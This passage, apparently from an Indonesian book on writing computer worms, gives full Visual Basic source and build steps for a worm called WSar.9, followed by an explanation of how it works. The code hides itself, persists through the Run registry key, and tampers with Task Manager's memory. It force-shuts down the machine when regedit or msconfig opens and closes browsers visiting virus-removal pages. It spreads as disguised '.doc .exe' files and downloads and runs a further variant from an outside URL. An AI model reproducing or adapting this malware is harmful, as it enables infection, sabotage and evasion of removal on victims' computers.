2. Pada list Avail-able Add-Ins klik VB 6 Resource Editor, kemudian pada frame Load Bahavior beri check pada opsi Loaded/Unload-ed dan opsi Load on Startup, akhiri dengan mengklik tombol OK

3. Klik Tools pada menubar, ke-mudian klik Resource Editor

Page 270: Computer Worm 1 secret of underground coding

255Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

5. W

orm

WS

ar.9

4. Pada jendela VB Resource Editor, klik tombol Add C u s t o m Resource

5. Pada kotak dialog "Open A Custom Resource", cari dan temukan file yang akan dimasukan kedalam file res. Dalam hal ini, icon bergambar hati "heart.ico", kemudian klik Open

6. Pada tree Resource File dapat terlihat sebuah sub tree baru, muncul dibawahnya dengan nama "CUSTOM" dan ID 101. WSar.9 tetap menggunakan nilai ini, na-mun untuk mengubah nilai ini bisa dilakukan dengan mengklik pada tombol Edit Properties.

Page 271: Computer Worm 1 secret of underground coding

256Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 15. W

orm W

Sar.9

Terakhir, simpan file res tersebut dengan mengklik tombol Save. Simpan dengan nama WSar, setelah itu secara otomatis pada Project Explorer muncul sebuah sub tree baru dengan nama Related Docu-ments dan sebuah file res dengan nama WSar.RES.

Setelah Anda berhasil menambahkan file icon sebagai resource file, ketik kode program berikut ini pada module mdlBlockUrl:

Private Declare Function GetWindowText Lib "user32" Alias _ "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As _ String, ByVal cch As Long) As LongPrivate Declare Function GetWindow Lib "user32" (ByVal hWnd _ As Long, ByVal wCmd As Long) As LongPrivate Declare Function GetWindowTextLength Lib "user32" Alias _ "GetWindowTextLengthA" (ByVal hWnd As Long) As LongPrivate Declare Function FindWindow Lib "user32" Alias _ "FindWindowA" (ByVal lpClassName As String, ByVal _ lpWindowName As String) As LongPrivate Declare Function GetClassName Lib "user32" Alias _ "GetClassNameA" (ByVal hWnd As Long, ByVal lpClassName _ As String, ByVal nMaxCount As Long) As LongPrivate Declare Function SendMessage Lib "user32" Alias _ "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, _ ByVal wParam As Long, ByVal lParam As Any) As LongGlobal thehwnd As LongGlobal thesite As StringConst GWW_HINSTANCE = (-6)Const GWW_ID = (-12)Const GWL_STYLE = (-16)Const GW_CHILD = 5Const GW_HWNDFIRST = 0Const GW_HWNDLAST = 1Const GW_HWNDNEXT = 2Const GW_HWNDPREV = 3Const GW_OWNER = 4Global Const WM_SETTEXT = &HCGlobal Const WM_GETTEXT = &HDGlobal Const WM_GETTEXTLENGTH = &HEPrivate Declare Function SetWindowText Lib "user32" Alias _ "SetWindowTextA" (ByVal hWnd As Long, ByVal lpString As _ String) As LongPrivate Declare Function ShellExecute Lib "shell32.dll" Alias _ "ShellExecuteA" (ByVal hWnd As Long, ByVal lpOperation As _ String, ByVal lpFile As String, ByVal lpParameters As String, _ ByVal lpDirectory As String, ByVal nShowCmd As Long) As _ Long

Page 272: Computer Worm 1 secret of underground coding

257Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

5. W

orm

WS

ar.9

Public Function BlockUrl(ByVal UrlText As String) As Boolean Dim currwnd As Long currwnd = GetWindow(Forms(0).hWnd, GW_HWNDFIRST) While currwnd <> 0 Length = GetWindowTextLength(currwnd) listitem$ = Space$(Length + 1) Length = GetWindowText(currwnd, listitem$, Length + 1) If Length > 0 Then X = Right$(listitem$, 29) mypos = InStr(1, X, "Microsoft Internet Explorer", 1) If mypos > 1 Then X = EditInfo(currwnd) compare = UrlText mypos = InStr(1, UCase(X), UCase(compare), 1) If mypos >= 1 Then thesite = UrlText Dim K As String K = WindowText(currwnd) AppActivate(K) SendKeys("%{F4}") Exit Function End If End If mypos = InStr(1, X, "Netscape", 1) If mypos > 1 Then X = EditInfo(currwnd) compare = UrlText mypos = InStr(1, UCase(X), UCase(compare), 1) If mypos >= 1 Then thesite = UrlText AppActivate(WindowText(currwnd)) SendKeys("%{F4}") Exit Function End If End If End If currwnd = GetWindow(currwnd, GW_HWNDNEXT) X = DoEvents() End WhileEnd Function

Private Function EditInfo(ByVal window_hwnd As Long) As String Dim txt As String Dim buf As String Dim buflen As Long Dim child_hwnd As Long Dim children() As Long Dim num_children As Integer Dim i As Integer buflen = 256 buf = Space$(buflen - 1) buflen = GetClassName(window_hwnd, buf, buflen) buf = Left$(buf, buflen) If buf = "Edit" Then EditInfo = WindowText(window_hwnd) thehwnd = window_hwnd Exit Function End If

Page 273: Computer Worm 1 secret of underground coding

258Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 15. W

orm W

Sar.9

num_children = 0 child_hwnd = GetWindow(window_hwnd, GW_CHILD) Do While child_hwnd <> 0 num_children = num_children + 1ReDim Preserve children(1 To num_children) children(num_children) = child_hwnd child_hwnd = GetWindow(child_hwnd, GW_HWNDNEXT) Loop For i = 1 To num_children txt = EditInfo(children(i)) If txt <> "" Then Exit For Next i EditInfo = txtEnd Function

Private Function WindowText(ByVal window_hwnd As Long) As String Dim txtlen As Long Dim txt As String WindowText = "" If window_hwnd = 0 Then Exit Function txtlen = SendMessage(window_hwnd, WM_GETTEXTLENGTH, _ 0, 0) If txtlen = 0 Then Exit Function txtlen = txtlen + 1 txt = Space$(txtlen)txtlen = SendMessage(window_hwnd, WM_GETTEXT, txtlen, _ ByVal txt) WindowText = Left$(txt, txtlen)End Function

Ketik kode program berikut ini pada module mdlIseng:

Public Declare Function ShowWindow Lib "user32" (ByVal hWnd _ As Long, ByVal nCmdShow As Long) As LongPublic Declare Function FindWindow Lib "user32" Alias _ "FindWindowA" (ByVal lpClassName As String, ByVal _ lpWindowName As String) As LongPublic Declare Function FindWindowEx Lib "user32" Alias _ "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As _ Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As LongPublic Declare Function ShowCursor& Lib "user32" (ByVal bShow _ As Long)Public Declare Function SwapMouseButton& Lib "user32" (ByVal _ bSwap As Long)

Public Function StartButton(ByVal View As Boolean) OurParent& = FindWindow("Shell_TrayWnd", "") OurHandle& = FindWindowEx(OurParent&, 0, "Button", _ vbNullString) If View = False Then ShowWindow(OurHandle&, 0) Else ShowWindow(OurHandle&, 5) End IfEnd Function

Page 274: Computer Worm 1 secret of underground coding

259Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

5. W

orm

WS

ar.9

Ketik kode program berikut ini pada module mdlRenProcess:

Option Explicit On

Declare Function OpenProcess Lib "kernel32" (ByVal _ dwDesiredAccess As Long, ByVal bInheritHandle As Long, _ ByVal dwProcessId As Long) As LongDeclare Function WriteProcessMemory Lib "kernel32" (ByVal _ hProcess As Long, ByVal lpBaseAddress As Any, ByVal _ lpBuffer As Any, ByVal nSize As Long, _ByVal lpNumberOfBytesWritten As Long) As LongDeclare Function ReadProcessMemory Lib "kernel32" (ByVal _ hProcess As Long, ByVal lpBaseAddress As Any, ByVal _ lpBuffer As Any, ByVal nSize As Long, _ByVal lpNumberOfBytesWritten As Long) As LongDeclare Function ProcessNext Lib "kernel32" Alias _ "Process32Next" (ByVal hSnapshot As Long, ByVal uProcess As _ PROCESSENTRY32) As LongDeclare Function CreateToolhelpSnapshot Lib "kernel32" Alias _ "CreateToolhelp32Snapshot" (ByVal lFlags As Long, ByVal lProcessID _ As Long) As LongPublic Const TH32CS_SNAPPROCESS As Long = 2&Type PROCESSENTRY32 dwSize As Long cntUsage As Long th32ProcessID As Long th32DefaultHeapID As Long th32ModuleID As Long cntThreads As Long th32ParentProcessID As Long pcPriClassBase As Long dwFlags As Long szExeFile As String * 260End TypePublic myHandle As LongPublic myproclist$Dim p As Long

Private Function UNICODE(ByVal PREREP As String) Dim REPIT As String REPIT = "" For p = 1 To Len(PREREP) REPIT = REPIT & Chr(0) & Mid(PREREP, p, 1) Next p UNICODE = REPITEnd Function

Private Function InitProcHack(ByVal pid As Long) Dim pHandle pHandle = OpenProcess(&H1F0FFF, False, pid) If (pHandle = 0) Then InitProcHack = False myHandle = 0 Else InitProcHack = True myHandle = pHandle End IfEnd Function

Page 275: Computer Worm 1 secret of underground coding

260Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 15. W

orm W

Sar.9

Private Function DoThat(ByVal PIDX As Long, ByVal OldText As String, _ByVal NewText As String) Dim i, rsd As Integer If Len(OldText) > Len(NewText) Then rsd = Len(OldText) - Len(NewText) For i = 1 To rsd NewText = NewText & " " Next i End If If Len(OldText) < Len(NewText) Then NewText = NewText & Chr(0) End If DoEvents() If Not InitProcHack(PIDX) Then Exit Function Dim c, startpos As Integer Dim addr As LongDim buffer As String * 20016 Dim readlen As Long Dim writelen As Long Dim srchstring, repstring As String Dim bytewrite srchstring = UNICODE(OldText) repstring = UNICODE(NewText) DoEvents() For addr = 0 To 4000 Call ReadProcessMemory(myHandle, addr * 20000, buffer, 20016, _ readlen) If readlen > 0 Then startpos = 1 While InStr(startpos, buffer, srchstring) > 0 p = (addr) * 20000 + InStr(startpos, buffer, srchstring) - 1 Call WriteProcessMemory(myHandle, CLng(p), repstring, _ Len(repstring), bytewrite) startpos = InStr(startpos, buffer, Trim(srchstring)) + 1 End While End If Next addr DoEvents()End Function

Public Function RenProcess(ByVal OldText As String, ByVal NewText As String)

Dim newproclist As String newproclist = "" Dim myProcess As PROCESSENTRY32 Dim mySnapshot As Long myProcess.dwSize = Len(myProcess) mySnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, _ 0&)

Page 276: Computer Worm 1 secret of underground coding

261Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

5. W

orm

WS

ar.9

While ProcessNext(mySnapshot, myProcess) If InStr(1, myproclist$, "[" & _ myProcess.th32ProcessID & "]") = 0 Then If Left(myProcess.szExeFile, InStr(myProcess.szExeFile, Chr(0)) _ - 1) = "taskmgr.exe" Then DoThat(myProcess.th32ProcessID, OldText, NewText) Else DoEvents() End If End If newproclist = newproclist & "[" & myProcess.th32ProcessID & "]" End WhileEnd Function

Ketik kode program berikut ini pada module mdlTurnOff:

Option Explicit OnPrivate Declare Function ExitWindowsEx Lib "user32" (ByVal _ dwOptions As Long, ByVal dwReserved As Long) As LongPrivate Declare Function GetCurrentProcess Lib "kernel32" () As _ LongPrivate Declare Function OpenProcessToken Lib "advapi32" _ (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, _ByVal TokenHandle As Long) As LongPrivate Declare Function LookupPrivilegeValue Lib "advapi32" _ Alias "LookupPrivilegeValueA" (ByVal lpSystemName As _ String, ByVal lpName As String, ByVal lpLuid As LUID) As LongPrivate Declare Function AdjustTokenPrivileges Lib "advapi32" _ (ByVal TokenHandle As Long, ByVal DisableAllPrivileges _ As Long, ByVal NewState As TOKEN_PRIVILEGES, ByVal _ BufferLength As Long, ByVal PreviousState As Any, ByVal ReturnLength _ As Long) As LongPrivate Declare Function GetVersionEx Lib "kernel32" Alias _ "GetVersionExA" (ByVal lpVersionInformation As OSVERSIONINFO) _ As LongPrivate Const TOKEN_ADJUST_PRIVILEGES As Long = &H20Private Const TOKEN_QUERY As Long = &H8Private Const SE_PRIVILEGE_ENABLED As Long = &H2Private Const EWX_LOGOFF As Long = &H0Private Const EWX_SHUTDOWN As Long = &H1Private Const EWX_REBOOT As Long = &H2Private Const EWX_FORCE As Long = &H4Private Const VER_PLATFORM_WIN32_NT As Long = 2

Private Type OSVERSIONINFO OSVSize As Long dwVerMajor As Long dwVerMinor As Long dwBuildNumber As Long PlatformID As Long szCSDVersion As String * 128End Type

Page 277: Computer Worm 1 secret of underground coding

262Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 15. W

orm W

Sar.9

Private Type LUID dwLowPart As Long dwHighPart As LongEnd Type

Private Type LUID_AND_ATTRIBUTES udtLUID As LUID dwAttributes As LongEnd Type

Private Type TOKEN_PRIVILEGES PrivilegeCount As Long laa As LUID_AND_ATTRIBUTESEnd Type

Dim uflags As LongDim success As Long

Private Type POINTAPI X As Long Y As LongEnd Type

Private Type RECT Left As Long Top As Long Right As Long Bottom As LongEnd Type

Private Type WINDOWPLACEMENT Length As Long flags As Long ShowCmd As Long ptMinPosition As POINTAPI ptMaxPosition As POINTAPI rcNormalPosition As RECTEnd Type

Public Enum TurnMethode ShutDown LogOff RestartEnd Enum

Private Function CheckPrivilege() As Boolean#If Win32 ThenDim OSV As OSVERSIONINFOOSV.OSVSize = Len(OSV)If GetVersionEx(OSV) = 1 ThenCheckPrivilege = (OSV.PlatformID = _ VER_PLATFORM_WIN32_NT) And (OSV.dwVerMajor >= 4)End If#End IfEnd Function

Page 278: Computer Worm 1 secret of underground coding

263Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

5. W

orm

WS

ar.9

Private Function WithPrivilege() As Boolean Dim hProcessHandle As Long Dim hTokenHandle As Long Dim lpv_la As LUID Dim token As TOKEN_PRIVILEGES hProcessHandle = GetCurrentProcess() If hProcessHandle <> 0 Then If OpenProcessToken(hProcessHandle, _ (TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY), _ hTokenHandle) <> 0 Then If LookupPrivilegeValue(vbNullString, "SeShutdownPrivilege", _ lpv_la) <> 0 Then With token .PrivilegeCount = 1 .laa.udtLUID = lpv_la .laa.dwAttributes = SE_PRIVILEGE_ENABLED End WithIf AdjustTokenPrivileges(hTokenHandle, False, token, ByVal 0&, _ ByVal 0&, ByVal 0&) <> 0 Then WithPrivilege = True End If End If End If End IfEnd Function

Public Function TurnOff(ByVal Methode As TurnMethode, ByVal ForceOff As _ Boolean) If Methode = ShutDown Then uflags = EWX_SHUTDOWN End If If Methode = LogOff Then uflags = EWX_LOGOFF End If If Methode = Restart Then uflags = EWX_REBOOT End If If CheckPrivilege() Then success = WithPrivilege() End If If ForceOff = True Then uflags = uflags Or EWX_FORCE If success Then Call ExitWindowsEx(uflags, 0&) Else Call ExitWindowsEx(uflags, 0&) End IfEnd Function

Page 279: Computer Worm 1 secret of underground coding

264Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 15. W

orm W

Sar.9

ketik kode program berikut ini pada object frmWSar9:

'WSar.9 by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On

Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As LongPrivate Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As LongPrivate Declare Function InternetGetConnectedState Lib _ "wininet.dll" (ByRef lpdwFlags As Long, ByVal dwReserved As _ Long) As LongPrivate SF As String * 255Dim TskActMon As BooleanDim CPayload As BooleanDim VarianExist As Boolean

Private Sub Form_Load() On Error Resume Next App.TaskVisible = False App.Title = App.EXEName CPayload = False VarianExist = False If App.PrevInstance = True Then End InfectSystem() ChangeIcon()End Sub

Private Sub InfectSystem() On Error Resume Next Dim WSarName As String Dim WSarLast As String Dim WSarPath As String Dim RandomName As String Dim Mins, Maks, RandNo As Long Dim i, a As Long Dim alp As String alp = "0123456789 abcdefghijklmnopqrstuvwxyzABCDEFGHIJ" & _ "LMNOPQRSTUVWXYZ" RandomName = "" WSarName = GetStringValue("HKEY_LOCAL_MACHINE\So" & _ "ftware\Microsoft\Windows\CurrentVersion", "ProductNo") WSarLast = GetStringValue("HKEY_LOCAL_MACHINE\Soft" & _ "ware\Microsoft\Windows\CurrentVersion", "ProductCode") WSarPath = GetStringValue("HKEY_LOCAL_MACHINE\Soft" & _ "ware\Microsoft\Windows\CurrentVersion\Run", WSarName) Mins = 4 Maks = 12 RandNo = Mins + Fix(Rnd * (Maks - Mins + 1))

Page 280: Computer Worm 1 secret of underground coding

265Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

5. W

orm

WS

ar.9

For i = 1 To RandNo Randomize() a = Int(Rnd * 62) RandomName = RandomName & Mid(alp, a, 1) Next i If LCase(WSarName) = "error" Then FileCopy(WormFile, SpecialFolder(1) & "\" & RandomName & _ ".exe") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "ProductNo", RandomName) SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "ProductCode", App.EXEName) SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\Run", RandomName, SpecialFolder _ (1) & "\" & RandomName & ".exe") Else If LCase(App.Path) <> LCase(SpecialFolder(1)) Then End Kill(SpecialFolder(1) & "\" & WSarLast) DeleteKeyValue("HKEY_LOCAL_MACHINE\Software\Micro" & _ "soft\Windows\CurrentVersion\Run", WSarName) FileCopy(WormFile, SpecialFolder(1) & "\" & RandomName & _ ".exe") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "ProductNo", RandomName) SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "ProductCode", App.EXEName & _ ".exe") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\Run", RandomName, SpecialFolder _ (1) & "\" & RandomName & ".exe") End IfEnd Sub

Private Sub ChangeIcon() On Error Resume Next If Dir(SpecialFolder(0) & "\" & "WSar9.ico") = "" Then DropFile("CUSTOM", 101, SpecialFolder(0) & "\" & "WSar9.ico") SetStringValue("HKEY_CLASSES_ROOT\exefile\DefaultIcon", _ "", SpecialFolder(0) & "\" & "WSar9.ico") End If SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Explorer\CLSID\{450D8FBA-A" & _ "D25-11D0-98A8-0800361B1103}\DefaultIcon", "", _ SpecialFolder(0) & "\" & "WSar9.ico") SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Explorer\CLSID\{20D04FE0-3A" & _ "EA-1069-A2D8-08002B30309D}\DefaultIcon", "", _ SpecialFolder(0) & "\" & "WSar9.ico") SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Explorer\CLSID\{208D2C60-3A" & _ "EA-1069-A2D7-08002B30309D}\DefaultIcon", "", _ SpecialFolder(0) & "\" & "WSar9.ico") SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Explorer\CLSID\{645FF040-508" & _ "1-101B-9F08-00AA002F954E}\DefaultIcon", "full", _ SpecialFolder(0) & "\" & "WSar9.ico")

Page 281: Computer Worm 1 secret of underground coding

266Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 15. W

orm W

Sar.9

SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Explorer\CLSID\{645FF040-508" & _ "1-101B-9F08-00AA002F954E}\DefaultIcon", "empty", _ SpecialFolder(0) & "\" & "WSar9.ico")End Sub

Private Sub tmrBlockUrl_Timer() On Error Resume Next BlockUrl("worm") BlockUrl("virus") BlockUrl("removal")End Sub

Private Sub tmrDefender_Timer() On Error Resume Next If WinCheck("taskmgr.exe") = False Then TskActMon = False End If If WinCheck("taskmgr.exe") = True And TskActMon = True Then _ Exit Sub If WinCheck("taskmgr.exe") = True And TskActMon = False Then RenProcess(App.EXEName & ".exe", "explorer.exe") RenProcess("EXPLORER.EXE", "SVCHOST.EXE") RenProcess("Explorer.exe", "svchost.exe") RenProcess("SYSTEM", "WSarWasHere") TskActMon = True End If If WinCheck("regedit.exe") = True Or WinCheck("regedt32.exe") = _ True Then tmrDefender.Enabled = False TurnOff(ShutDown, True) End If If WinCheck("msconfig.exe") = True Then tmrDefender.Enabled = False TurnOff(Restart, True) End IfEnd Sub

Private Sub InfectFloppy() On Error Resume Next Dim Files() As String Dim i As Integer Dim Acak As Integer lstDoc.Clear() lstDoc.AddItem(GetStringValue("HKEY_CURRENT_USER\So" & _ "ftware\Microsoft\Windows\CurrentVersion\Explorer\Shell F" & _ "olders", "Personal")) Files() = GetFiles(lstDoc.List(0) & "\" & "*.doc", vbNormal) lstDoc.Clear() For i = 1 To UBound(Files) lstDoc.AddItem(Files(i)) Next i Randomize() Acak = Int(Rnd * (lstDoc.ListCount))

Page 282: Computer Worm 1 secret of underground coding

267Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

5. W

orm

WS

ar.9

If Len(Dir$("A:\*doc .exe")) = 0 Then If lstDoc.ListCount > 0 Then FileCopy(WormFile, "A:\" & lstDoc.List(Acak) & " .exe") Else FileCopy(WormFile, "A:\readme.doc .exe") End If End IfEnd Sub

Private Sub Payload() On Error Resume Next Phantom(GetStringValue("HKEY_CURRENT_USER\Software\" & _ "Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", _ "Personal"), "*.doc", WormFile, "where my document.doc .exe") MsgBox("WSar.9 Ada Pada Komputer Anda", vbExclamation, _ "WSar.9")End Sub

Private Sub tmrMulti_Timer() On Error Resume Next If (Right(Minute(Now), 1) = 2 Or Right(Minute(Now), 1) = 8) And _ Second(Now) = 13 Then Call InfectFloppy() End If If Minute(Now) = 1 Or Minute(Now) = 31 Then SwapMouseButton(True) StartButton(False) Else SwapMouseButton(False) StartButton(True) End If If Month(Now) = 10 And Day(Now) = 13 And CPayload = False _ Then CPayload = True Payload() End If If InternetGetConnectedState(0&, 0&) = 0 Then GoTo akhir If Year(Now) > 2006 And VarianExist = False Then If Len(Dir$(SpecialFolder(0) & "\wsar" & Year(Now) & ".exe")) = _ 0 Then Downloader("http://www.iwwa.or.id/newvarian/wsarx.exe", _ SpecialFolder(0) & "\wsar" & Year(Now) & ".exe", True) VarianExist = True End If End Ifakhir:End Sub

Page 283: Computer Worm 1 secret of underground coding

268Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 15. W

orm W

Sar.9

Private Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValueEnd Function

Private Function DropFile(ByVal ResType As String, ByVal ResID As Long, _ByVal OutputPath As String) On Error Resume Next Dim DROP() As Byte DROP = LoadResData(ResID, ResType)Open OutputPath For Binary As #1Put #1, , DROPClose #1End Function

Private Function Downloader(ByVal FileOnNet As String, ByVal FileOutput _ As String, ByVal Execute As Boolean) On Error Resume Next Dim newfile() As Byte If InternetGetConnectedState(0&, 0&) = 0 Then GoTo akhir Inet1.RequestTimeout = 40 newfile() = Inet1.OpenURL(FileOnNet, icByteArray)Open FileOutput For Binary Access Write As #1Put #1, , newfile()Close #1 If Execute = True Then Shell(FileOutput) End Ifakhir:End Function

Private Function Phantom(ByVal DirPath As String, ByVal Extention _ As String, ByVal FullSourcePath As String, ByVal TargetName As _ String) As Long On Error Resume Next Dim eksfile As String Dim fwall As Long If Right(DirPath, 1) <> "\" Then DirPath = DirPath & "\" eksfile = Dir(DirPath, vbDirectory)

Page 284: Computer Worm 1 secret of underground coding

269Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

5. W

orm

WS

ar.9

Do While Trim(eksfile) <> "" If Trim(eksfile) <> "." And Trim(eksfile) <> ".." Then If (GetAttr(DirPath + eksfile) And vbDirectory) = _ vbDirectory Then fwall = Phantom(DirPath + eksfile, Extention, _ FullSourcePath, _ TargetName) eksfile = Dir(DirPath, vbDirectory) Else eksfile = Dir(, vbDirectory) End If Else eksfile = Dir(, vbDirectory) End If Loop eksfile = Dir(DirPath + Extention) Do While Trim(eksfile) <> "" FileCopy(FullSourcePath, DirPath & TargetName)SetAttr (DirPath + eksfile), vbHidden + vbSystem eksfile = Dir Loop If Right(DirPath, 1) = "\" Then DirPath = Mid(DirPath, 1, Len _ (DirPath) - 1) SetAttr(DirPath, vbSystem) Phantom = 0End Function

Function GetFiles(filespec As String, Optional Attributes As _ VbFileAttribute) As String() On Error Resume Next Dim result() As String Dim filename As String, count As Long, path2 As String Const ALLOC_CHUNK = 50ReDim result(0 To ALLOC_CHUNK) As String filename = Dir$(filespec, Attributes) Do While Len(filename) count = count + 1 If count > UBound(result) ThenReDim Preserve result(0 To count + ALLOC_CHUNK) As String End If result(count) = filename filename = Dir$ LoopReDim Preserve result(0 To count) As String GetFiles = resultEnd Function

Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WNameEnd Function

Page 285: Computer Worm 1 secret of underground coding

270Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 15. W

orm W

Sar.9

Untuk module mdlRegistryAPI Anda bisa menggunakan module yang sama pada WSar.4 dan module mdlWinCheck menggunakan module yang sama pada WSar.8

Berikut penjelasan tentang kode program:

Procedure Form_Load seperti biasa mengatur agar worm tidak tampil pada jendela Task List, mencegah proses baru dari file yang sama dan mengeksekusi procedure InfectSystem, kemudian worm memanggil procedure ChangeIcon. Adapun pengaturan nilai variabel CPayload dan VarianExist menjadi false berkaitan dengan procedure tmrMulti_Timer.

Procedure InfectSystem pada WSar.9 berbeda pada worm dasar sebelumnya, dimulai dengan memberikan nilai pada beberapa variabel yang mengacu pada suatu data registry, yaitu:

• Variabel WSarName mengacu pada key registry "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion" dengan nilai data "ProductNo"

• Variabel WSarLast yang mengacu pada key registry "HKEY_LO-CAL_MACHINE\Software\Microsoft\Windows\CurrentVersion" dengan nilai data 'ProductCode’

• Variabel WSarPath yang mengacu pada key registry "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" dan dengan nilai data yang diambil dari nilai variabel WSarName.

Jika nilai pada variabel WSarName adalah "error" yang berarti nilai registry tersebut tidak ditemukan dan berarti pula bahwa worm belum melakukan penginfeksian pada system komputer tersebut maka worm akan membuat salinan ke direktori System Windows dengan meng-gunakan nama yang diambil secara acak dan berkisar antara 4 hingga 12 karakter. Untuk memudahkan penjelasan berikutnya nama file ini kita sebut dengan istilah NextName.

Worm kemudian mengatur nilai registry yang mengacu pada variabel WSarName dengan memberikan value dengan nilai NextName, kemu-dian mengatur nilai registry yang mengacu pada variabel WSarLast dengan memberikan value berupa nama file utama yang aktif dan mengatur nilai registry yang mengacu pada variabel WSarPath dengan memberikan value dengan nilai full path dari NextName yang berada pada direktori System Windows.

Page 286: Computer Worm 1 secret of underground coding

271Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

5. W

orm

WS

ar.9

Sebaliknya jika nilai pada variabel WSarName ditemukan, maka jika path file utama tidak berada pada direktori System Windows, maka worm langsung mengakhiri proses dari file utama hal ini untuk mence-gah penginfeksian berulang dari file infector lainnya, dan jika tidak worm akan menghapus file yang mengacu pada variabel WSarLast, kemudian menghapus key registry yang mengacu pada variabel WSar-Path dengan value yang mengacu pada variabel WSarName.

Selanjutnya worm akan membuat salinan ke direktori System Windows dengan menggunakan nama NextName lainnya. Worm kemudian men-gatur nilai registry yang mengacu pada variabel WSarName dengan memberikan value dengan nilai NextName kemudian mengatur nilai registry yang mengacu pada variabel WSarLast dengan memberikan value berupa nama file utama yang aktif dan mengatur nilai registry yang mengacu pada variabel WSarPath dengan memberikan value dengan nilai full path dari NextName yang berada pada direktori Sys-tem Windows. Demikian hal ini akan berulang setiap kali Windows startup.

Procedure ChangeIcon saat dieksekusi akan memeriksa keberadaan file WSar9.ico yang berada pada direktori Windows, jika tidak ditemukan maka dengan menggunakan resource file sebagai metode Drop File. Worm mengekstrak file WSar9.ico yang merupakan file icon bergambar hati ke direktori Windows dan langsung mengatur suatu nilai registry yang mengacu pada pengaturan default untuk icon berekstensi *.exe dengan mengganti icon tersebut menjadi icon WSar9.ico.

Sebaliknya jika file WSar9.ico ditemukan, maka WSar.9 mengatur beberapa nilai registry yang mengacu pada pengaturan default untuk icon My Documents, My Computer, My Network Place dan Recycle Bin. dengan mengganti icon tersebut menjadi icon WSar9.ico.

Procedure tmrBlockUrl_Timer aktif setiap satu detik dengan menutup aplikasi browser yang pada address-nya mengandung kata worm, virus dan removal. Hal ini dilakukan dengan menggunakan function BlockUrl yang terdapat pada module mdlBlockUrl.

Procedure tmrDefender_Timer aktif setiap 0.2 detik, dengan menggu-nakan function WinCheck worm memeriksa apakah aplikasi Windows Task Manager dijalankan oleh user atau tidak.

Page 287: Computer Worm 1 secret of underground coding

272Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 15. W

orm W

Sar.9

Jika ternyata aplikasi tersebut dijalankan maka variabel TskActMon diatur menjadi false. Kemudian jika aplikasi Windows Task Manager dijalankan dan nilai variabel TskActMon adalah true maka procedure diakhiri.

Jika aplikasi Windows Task Manager dijalankan dan nilai variabel TskActMon adalah false maka worm akan merubah string yang bertuliskan nama file utama dengan string "explorer.exe", string "EX-PLORER.EXE" menjadi "SVCHOST.EXE" string "explorer.exe" menjadi "svchost.exe" dan merubah string "SYSTEM" menjadi "WSarWasHere" kemudian mengatur nilai TskActMon menjadi true.

Jika user menjalankan aplikasi regedit.exe atau regedt32.exe (Registry Editor) maka properti Enabled pada tmrDefender diatur menjadi false, kemudian langsung mematikan komputer.

Jika user menjalankan aplikasi msconfig.exe (System Configuration Utility) maka properti Enabled pada tmrDefender diatur menjadi false, kemudian langsung me-restart komputer.

